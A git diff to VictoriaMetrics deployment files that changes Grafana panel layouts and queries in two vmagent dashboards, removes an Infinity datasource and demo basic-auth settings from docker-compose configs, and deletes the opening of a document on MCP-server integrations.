@@ -5783,7 +5771,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 3931
|
||||
"y": 3083
|
||||
},
|
||||
"id": 131,
|
||||
"options": {
|
||||
@@ -5887,7 +5875,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4207
|
||||
"y": 3359
|
||||
},
|
||||
"id": 130,
|
||||
"options": {
|
||||
@@ -6004,7 +5992,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4207
|
||||
"y": 3359
|
||||
},
|
||||
"id": 77,
|
||||
"options": {
|
||||
@@ -6129,7 +6117,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4254
|
||||
"y": 3406
|
||||
},
|
||||
"id": 146,
|
||||
"options": {
|
||||
@@ -6231,7 +6219,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4254
|
||||
"y": 3406
|
||||
},
|
||||
"id": 143,
|
||||
"options": {
|
||||
@@ -6327,7 +6315,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4262
|
||||
"y": 3414
|
||||
},
|
||||
"id": 147,
|
||||
"options": {
|
||||
@@ -6430,7 +6418,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4262
|
||||
"y": 3414
|
||||
},
|
||||
"id": 139,
|
||||
"options": {
|
||||
@@ -6541,7 +6529,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4270
|
||||
"y": 3422
|
||||
},
|
||||
"id": 142,
|
||||
"options": {
|
||||
@@ -6638,7 +6626,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4270
|
||||
"y": 3422
|
||||
},
|
||||
"id": 137,
|
||||
"options": {
|
||||
@@ -6751,7 +6739,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4310
|
||||
"y": 3462
|
||||
},
|
||||
"id": 141,
|
||||
"options": {
|
||||
@@ -6881,7 +6869,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2259
|
||||
"y": 1411
|
||||
},
|
||||
"id": 60,
|
||||
"options": {
|
||||
@@ -6989,7 +6977,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2259
|
||||
"y": 1411
|
||||
},
|
||||
"id": 66,
|
||||
"options": {
|
||||
@@ -7097,7 +7085,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2267
|
||||
"y": 1419
|
||||
},
|
||||
"id": 61,
|
||||
"options": {
|
||||
@@ -7205,7 +7193,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2267
|
||||
"y": 1419
|
||||
},
|
||||
"id": 65,
|
||||
"options": {
|
||||
@@ -7312,7 +7300,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2275
|
||||
"y": 1427
|
||||
},
|
||||
"id": 88,
|
||||
"options": {
|
||||
@@ -7416,7 +7404,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2275
|
||||
"y": 1427
|
||||
},
|
||||
"id": 84,
|
||||
"options": {
|
||||
@@ -7523,7 +7511,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2283
|
||||
"y": 1435
|
||||
},
|
||||
"id": 90,
|
||||
"options": {
|
||||
@@ -7581,7 +7569,7 @@
|
||||
"h": 2,
|
||||
"w": 24,
|
||||
"x": 0,
|
||||
"y": 918
|
||||
"y": 70
|
||||
},
|
||||
"id": 115,
|
||||
"options": {
|
||||
@@ -7663,7 +7651,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 920
|
||||
"y": 72
|
||||
},
|
||||
"id": 119,
|
||||
"options": {
|
||||
@@ -7771,7 +7759,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 920
|
||||
"y": 72
|
||||
},
|
||||
"id": 117,
|
||||
"options": {
|
||||
@@ -7881,7 +7869,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 928
|
||||
"y": 80
|
||||
},
|
||||
"id": 125,
|
||||
"links": [
|
||||
@@ -8007,7 +7995,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 928
|
||||
"y": 80
|
||||
},
|
||||
"id": 123,
|
||||
"options": {
|
||||
@@ -8141,7 +8129,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 936
|
||||
"y": 88
|
||||
},
|
||||
"id": 121,
|
||||
"options": {
|
||||
@@ -8268,7 +8256,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 936
|
||||
"y": 88
|
||||
},
|
||||
"id": 161,
|
||||
"links": [
|
||||
@@ -8390,9 +8378,9 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 1309
|
||||
"y": 461
|
||||
},
|
||||
"id": 162,
|
||||
"id": 154,
|
||||
"options": {
|
||||
"legend": {
|
||||
"calcs": [
|
||||
@@ -8549,4 +8537,4 @@
|
||||
"title": "VictoriaMetrics - vmagent (VM)",
|
||||
"uid": "G7Z9GzMGz_vm",
|
||||
"version": 1
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,7 +50,7 @@
|
||||
"editable": true,
|
||||
"fiscalYearStartMonth": 0,
|
||||
"graphTooltip": 1,
|
||||
"id": 3,
|
||||
"id": 2,
|
||||
"links": [
|
||||
{
|
||||
"icon": "doc",
|
||||
@@ -1768,7 +1768,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 141
|
||||
"y": 698
|
||||
},
|
||||
"id": 111,
|
||||
"options": {
|
||||
@@ -1883,7 +1883,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 141
|
||||
"y": 698
|
||||
},
|
||||
"id": 157,
|
||||
"options": {
|
||||
@@ -1995,7 +1995,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 196
|
||||
"y": 758
|
||||
},
|
||||
"id": 155,
|
||||
"options": {
|
||||
@@ -2102,7 +2102,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 196
|
||||
"y": 758
|
||||
},
|
||||
"id": 158,
|
||||
"options": {
|
||||
@@ -2225,7 +2225,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 204
|
||||
"y": 766
|
||||
},
|
||||
"id": 156,
|
||||
"options": {
|
||||
@@ -2369,7 +2369,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 204
|
||||
"y": 766
|
||||
},
|
||||
"id": 81,
|
||||
"options": {
|
||||
@@ -2496,7 +2496,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 212
|
||||
"y": 774
|
||||
},
|
||||
"id": 39,
|
||||
"options": {
|
||||
@@ -2602,7 +2602,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 212
|
||||
"y": 774
|
||||
},
|
||||
"id": 159,
|
||||
"options": {
|
||||
@@ -2728,7 +2728,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 220
|
||||
"y": 782
|
||||
},
|
||||
"id": 41,
|
||||
"options": {
|
||||
@@ -2848,7 +2848,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 220
|
||||
"y": 782
|
||||
},
|
||||
"id": 7,
|
||||
"options": {
|
||||
@@ -2970,7 +2970,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 228
|
||||
"y": 790
|
||||
},
|
||||
"id": 135,
|
||||
"options": {
|
||||
@@ -3080,7 +3080,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 228
|
||||
"y": 790
|
||||
},
|
||||
"id": 149,
|
||||
"options": {
|
||||
@@ -3186,7 +3186,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 236
|
||||
"y": 798
|
||||
},
|
||||
"id": 154,
|
||||
"options": {
|
||||
@@ -3296,7 +3296,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 236
|
||||
"y": 798
|
||||
},
|
||||
"id": 83,
|
||||
"options": {
|
||||
@@ -3385,7 +3385,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3400,8 +3399,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3417,7 +3415,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 142
|
||||
"y": 3116
|
||||
},
|
||||
"id": 92,
|
||||
"options": {
|
||||
@@ -3439,7 +3437,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3455,7 +3453,7 @@
|
||||
"refId": "A"
|
||||
}
|
||||
],
|
||||
"title": "Top 10 jobs by newly added series",
|
||||
"title": "Top 10 jobs by unique samples",
|
||||
"type": "timeseries"
|
||||
},
|
||||
{
|
||||
@@ -3463,7 +3461,7 @@
|
||||
"type": "prometheus",
|
||||
"uid": "$ds"
|
||||
},
|
||||
"description": "Shows top 10 targets by the number of new series registered by vmagent over the 5min range. These instances generate the most of the churn rate.",
|
||||
"description": "Shows top 10 instances by the number of new series registered by vmagent over the 5min range. These instances generate the most of the churn rate.",
|
||||
"fieldConfig": {
|
||||
"defaults": {
|
||||
"color": {
|
||||
@@ -3493,7 +3491,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3508,8 +3505,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3525,7 +3521,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 142
|
||||
"y": 3116
|
||||
},
|
||||
"id": 95,
|
||||
"options": {
|
||||
@@ -3547,7 +3543,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3556,14 +3552,14 @@
|
||||
},
|
||||
"editorMode": "code",
|
||||
"exemplar": false,
|
||||
"expr": "topk(10, sum(sum_over_time(scrape_series_added[5m])) by (job,instance)) > 0",
|
||||
"expr": "topk(10, sum(sum_over_time(scrape_series_added[5m])) by (instance)) > 0",
|
||||
"interval": "",
|
||||
"legendFormat": "{{job}}-{{instance}}",
|
||||
"legendFormat": "__auto",
|
||||
"range": true,
|
||||
"refId": "A"
|
||||
}
|
||||
],
|
||||
"title": "Top 10 targets by newly added series",
|
||||
"title": "Top 10 instances by unique samples",
|
||||
"type": "timeseries"
|
||||
},
|
||||
{
|
||||
@@ -3602,7 +3598,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3619,8 +3614,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "transparent",
|
||||
"value": 0
|
||||
"color": "transparent"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3636,7 +3630,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 150
|
||||
"y": 3124
|
||||
},
|
||||
"id": 98,
|
||||
"options": {
|
||||
@@ -3658,7 +3652,7 @@
|
||||
"sort": "desc"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3713,7 +3707,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3730,8 +3723,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "transparent",
|
||||
"value": 0
|
||||
"color": "transparent"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3747,7 +3739,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 150
|
||||
"y": 3124
|
||||
},
|
||||
"id": 99,
|
||||
"options": {
|
||||
@@ -3769,7 +3761,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3823,7 +3815,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3840,8 +3831,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3857,7 +3847,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 158
|
||||
"y": 3132
|
||||
},
|
||||
"id": 79,
|
||||
"options": {
|
||||
@@ -3879,7 +3869,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -3933,7 +3923,6 @@
|
||||
"type": "linear"
|
||||
},
|
||||
"showPoints": "never",
|
||||
"showValues": false,
|
||||
"spanNulls": false,
|
||||
"stacking": {
|
||||
"group": "A",
|
||||
@@ -3950,8 +3939,7 @@
|
||||
"mode": "absolute",
|
||||
"steps": [
|
||||
{
|
||||
"color": "green",
|
||||
"value": 0
|
||||
"color": "green"
|
||||
},
|
||||
{
|
||||
"color": "red",
|
||||
@@ -3967,7 +3955,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 158
|
||||
"y": 3132
|
||||
},
|
||||
"id": 18,
|
||||
"links": [
|
||||
@@ -3996,7 +3984,7 @@
|
||||
"sort": "none"
|
||||
}
|
||||
},
|
||||
"pluginVersion": "12.2.0",
|
||||
"pluginVersion": "11.5.0",
|
||||
"targets": [
|
||||
{
|
||||
"datasource": {
|
||||
@@ -4081,7 +4069,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 166
|
||||
"y": 3140
|
||||
},
|
||||
"id": 127,
|
||||
"options": {
|
||||
@@ -4187,7 +4175,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 166
|
||||
"y": 3140
|
||||
},
|
||||
"id": 50,
|
||||
"options": {
|
||||
@@ -4289,7 +4277,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 174
|
||||
"y": 3148
|
||||
},
|
||||
"id": 129,
|
||||
"options": {
|
||||
@@ -4424,7 +4412,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 174
|
||||
"y": 3148
|
||||
},
|
||||
"id": 150,
|
||||
"options": {
|
||||
@@ -4527,7 +4515,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 181
|
||||
"y": 3155
|
||||
},
|
||||
"id": 151,
|
||||
"options": {
|
||||
@@ -4648,7 +4636,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4209
|
||||
"y": 3361
|
||||
},
|
||||
"id": 48,
|
||||
"options": {
|
||||
@@ -4756,7 +4744,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4209
|
||||
"y": 3361
|
||||
},
|
||||
"id": 76,
|
||||
"options": {
|
||||
@@ -4862,7 +4850,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4216
|
||||
"y": 3368
|
||||
},
|
||||
"id": 132,
|
||||
"options": {
|
||||
@@ -4970,7 +4958,7 @@
|
||||
"h": 7,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4216
|
||||
"y": 3368
|
||||
},
|
||||
"id": 133,
|
||||
"options": {
|
||||
@@ -5077,7 +5065,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4223
|
||||
"y": 3375
|
||||
},
|
||||
"id": 20,
|
||||
"options": {
|
||||
@@ -5183,7 +5171,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4223
|
||||
"y": 3375
|
||||
},
|
||||
"id": 126,
|
||||
"options": {
|
||||
@@ -5288,7 +5276,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4231
|
||||
"y": 3383
|
||||
},
|
||||
"id": 46,
|
||||
"options": {
|
||||
@@ -5393,7 +5381,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4231
|
||||
"y": 3383
|
||||
},
|
||||
"id": 148,
|
||||
"options": {
|
||||
@@ -5498,7 +5486,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4239
|
||||
"y": 3391
|
||||
},
|
||||
"id": 31,
|
||||
"options": {
|
||||
@@ -5665,7 +5653,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 3931
|
||||
"y": 3083
|
||||
},
|
||||
"id": 73,
|
||||
"options": {
|
||||
@@ -5782,7 +5770,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 3931
|
||||
"y": 3083
|
||||
},
|
||||
"id": 131,
|
||||
"options": {
|
||||
@@ -5886,7 +5874,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4207
|
||||
"y": 3359
|
||||
},
|
||||
"id": 130,
|
||||
"options": {
|
||||
@@ -6003,7 +5991,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4207
|
||||
"y": 3359
|
||||
},
|
||||
"id": 77,
|
||||
"options": {
|
||||
@@ -6128,7 +6116,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4254
|
||||
"y": 3406
|
||||
},
|
||||
"id": 146,
|
||||
"options": {
|
||||
@@ -6230,7 +6218,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4254
|
||||
"y": 3406
|
||||
},
|
||||
"id": 143,
|
||||
"options": {
|
||||
@@ -6326,7 +6314,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4262
|
||||
"y": 3414
|
||||
},
|
||||
"id": 147,
|
||||
"options": {
|
||||
@@ -6429,7 +6417,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4262
|
||||
"y": 3414
|
||||
},
|
||||
"id": 139,
|
||||
"options": {
|
||||
@@ -6540,7 +6528,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 4270
|
||||
"y": 3422
|
||||
},
|
||||
"id": 142,
|
||||
"options": {
|
||||
@@ -6637,7 +6625,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4270
|
||||
"y": 3422
|
||||
},
|
||||
"id": 137,
|
||||
"options": {
|
||||
@@ -6750,7 +6738,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 4310
|
||||
"y": 3462
|
||||
},
|
||||
"id": 141,
|
||||
"options": {
|
||||
@@ -6880,7 +6868,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2259
|
||||
"y": 1411
|
||||
},
|
||||
"id": 60,
|
||||
"options": {
|
||||
@@ -6988,7 +6976,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2259
|
||||
"y": 1411
|
||||
},
|
||||
"id": 66,
|
||||
"options": {
|
||||
@@ -7096,7 +7084,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2267
|
||||
"y": 1419
|
||||
},
|
||||
"id": 61,
|
||||
"options": {
|
||||
@@ -7204,7 +7192,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2267
|
||||
"y": 1419
|
||||
},
|
||||
"id": 65,
|
||||
"options": {
|
||||
@@ -7311,7 +7299,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2275
|
||||
"y": 1427
|
||||
},
|
||||
"id": 88,
|
||||
"options": {
|
||||
@@ -7415,7 +7403,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 2275
|
||||
"y": 1427
|
||||
},
|
||||
"id": 84,
|
||||
"options": {
|
||||
@@ -7522,7 +7510,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 2283
|
||||
"y": 1435
|
||||
},
|
||||
"id": 90,
|
||||
"options": {
|
||||
@@ -7580,7 +7568,7 @@
|
||||
"h": 2,
|
||||
"w": 24,
|
||||
"x": 0,
|
||||
"y": 918
|
||||
"y": 70
|
||||
},
|
||||
"id": 115,
|
||||
"options": {
|
||||
@@ -7662,7 +7650,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 920
|
||||
"y": 72
|
||||
},
|
||||
"id": 119,
|
||||
"options": {
|
||||
@@ -7770,7 +7758,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 920
|
||||
"y": 72
|
||||
},
|
||||
"id": 117,
|
||||
"options": {
|
||||
@@ -7880,7 +7868,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 928
|
||||
"y": 80
|
||||
},
|
||||
"id": 125,
|
||||
"links": [
|
||||
@@ -8006,7 +7994,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 928
|
||||
"y": 80
|
||||
},
|
||||
"id": 123,
|
||||
"options": {
|
||||
@@ -8140,7 +8128,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 936
|
||||
"y": 88
|
||||
},
|
||||
"id": 121,
|
||||
"options": {
|
||||
@@ -8267,7 +8255,7 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 12,
|
||||
"y": 936
|
||||
"y": 88
|
||||
},
|
||||
"id": 161,
|
||||
"links": [
|
||||
@@ -8389,9 +8377,9 @@
|
||||
"h": 8,
|
||||
"w": 12,
|
||||
"x": 0,
|
||||
"y": 1309
|
||||
"y": 461
|
||||
},
|
||||
"id": 162,
|
||||
"id": 154,
|
||||
"options": {
|
||||
"legend": {
|
||||
"calcs": [
|
||||
@@ -8548,4 +8536,4 @@
|
||||
"title": "VictoriaMetrics - vmagent",
|
||||
"uid": "G7Z9GzMGz",
|
||||
"version": 1
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,19 +25,15 @@ services:
|
||||
ports:
|
||||
- 3000:3000
|
||||
restart: always
|
||||
environment:
|
||||
- GF_PLUGINS_PREINSTALL=yesoreyeram-infinity-datasource
|
||||
volumes:
|
||||
- grafanadata:/var/lib/grafana
|
||||
- ./provisioning/datasources/prometheus/cluster.yml:/etc/grafana/provisioning/datasources/cluster.yml
|
||||
- ./provisioning/datasources/infinity/cluster.yml:/etc/grafana/provisioning/datasources/infinity-cluster.yml
|
||||
- ./provisioning/datasources/prometheus-datasource/cluster.yml:/etc/grafana/provisioning/datasources/cluster.yml
|
||||
- ./provisioning/dashboards:/etc/grafana/provisioning/dashboards
|
||||
- ./../../dashboards/victoriametrics-cluster.json:/var/lib/grafana/dashboards/vm.json
|
||||
- ./../../dashboards/vmagent.json:/var/lib/grafana/dashboards/vmagent.json
|
||||
- ./../../dashboards/vmalert.json:/var/lib/grafana/dashboards/vmalert.json
|
||||
- ./../../dashboards/vmauth.json:/var/lib/grafana/dashboards/vmauth.json
|
||||
- ./../../dashboards/alert-statistics.json:/var/lib/grafana/dashboards/alert-statistics.json
|
||||
- ./../../dashboards/metrics-explorer.json:/var/lib/grafana/dashboards/metrics-explorer.json
|
||||
|
||||
# vmstorage shards. Each shard receives 1/N of all metrics sent to vminserts,
|
||||
# where N is number of vmstorages (2 in this case).
|
||||
@@ -131,17 +127,8 @@ services:
|
||||
- ./rules/alerts-vmalert.yml:/etc/alerts/alerts-vmalert.yml
|
||||
command:
|
||||
- "--datasource.url=http://vmauth:8427/select/0/prometheus"
|
||||
- "--datasource.basicAuth.username=foo"
|
||||
- "--datasource.basicAuth.password=bar"
|
||||
|
||||
- "--remoteRead.url=http://vmauth:8427/select/0/prometheus"
|
||||
- "--remoteRead.basicAuth.username=foo"
|
||||
- "--remoteRead.basicAuth.password=bar"
|
||||
|
||||
- "--remoteWrite.url=http://vmauth:8427/insert/0/prometheus"
|
||||
- "--remoteWrite.basicAuth.username=foo"
|
||||
- "--remoteWrite.basicAuth.password=bar"
|
||||
|
||||
- "--notifier.url=http://alertmanager:9093/"
|
||||
- "--rule=/etc/alerts/*.yml"
|
||||
# display source of alerts in grafana
|
||||
|
||||
@@ -43,19 +43,15 @@ services:
|
||||
- "victoriametrics"
|
||||
ports:
|
||||
- 3000:3000
|
||||
restart: always
|
||||
environment:
|
||||
- GF_PLUGINS_PREINSTALL=yesoreyeram-infinity-datasource
|
||||
volumes:
|
||||
- grafanadata:/var/lib/grafana
|
||||
- ./provisioning/datasources/prometheus/single.yml:/etc/grafana/provisioning/datasources/single.yml
|
||||
- ./provisioning/datasources/infinity/single.yml:/etc/grafana/provisioning/datasources/infinity-single.yml
|
||||
- ./provisioning/datasources/prometheus-datasource/single.yml:/etc/grafana/provisioning/datasources/single.yml
|
||||
- ./provisioning/dashboards:/etc/grafana/provisioning/dashboards
|
||||
- ./../../dashboards/victoriametrics.json:/var/lib/grafana/dashboards/vm.json
|
||||
- ./../../dashboards/vmagent.json:/var/lib/grafana/dashboards/vmagent.json
|
||||
- ./../../dashboards/vmalert.json:/var/lib/grafana/dashboards/vmalert.json
|
||||
- ./../../dashboards/alert-statistics.json:/var/lib/grafana/dashboards/alert-statistics.json
|
||||
- ./../../dashboards/metrics-explorer.json:/var/lib/grafana/dashboards/metrics-explorer.json
|
||||
restart: always
|
||||
|
||||
# vmalert executes alerting and recording rules
|
||||
vmalert:
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
apiVersion: 1
|
||||
|
||||
datasources:
|
||||
- name: VictoriaMetrics-Infinity
|
||||
type: yesoreyeram-infinity-datasource
|
||||
url: "http://vmauth:8427/select/0/prometheus"
|
||||
basicAuth: true
|
||||
basicAuthUser: foo
|
||||
secureJsonData:
|
||||
basicAuthPassword: bar
|
||||
@@ -1,6 +0,0 @@
|
||||
apiVersion: 1
|
||||
|
||||
datasources:
|
||||
- name: VictoriaMetrics-Infinity
|
||||
type: yesoreyeram-infinity-datasource
|
||||
url: "http://victoriametrics:8428"
|
||||
@@ -1,93 +0,0 @@
|
||||
VictoriaMetrics Observability Stack integrates with AI assistants through MCP servers and agent skills.
|
||||
These integrations allow AI agents and automation tools to query metrics, logs, and traces, analyze telemetry data,
|
||||
and assist engineers with debugging and observability tasks.
|
||||
|
||||
# MCP Servers
|
||||
|
||||
MCP (Model Context Protocol) servers expose observability data and operational capabilities to AI assistants in a structured way.
|
||||
This allows AI agents to query telemetry data, analyze system behavior, and assist engineers in troubleshooting and investigation workflows.
|
||||
|
||||
## VictoriaMetrics MCP Server
|
||||
|
||||
[VictoriaMetrics MCP Server](https://github.com/VictoriaMetrics/mcp-victoriametrics) provides access to VictoriaMetrics
|
||||
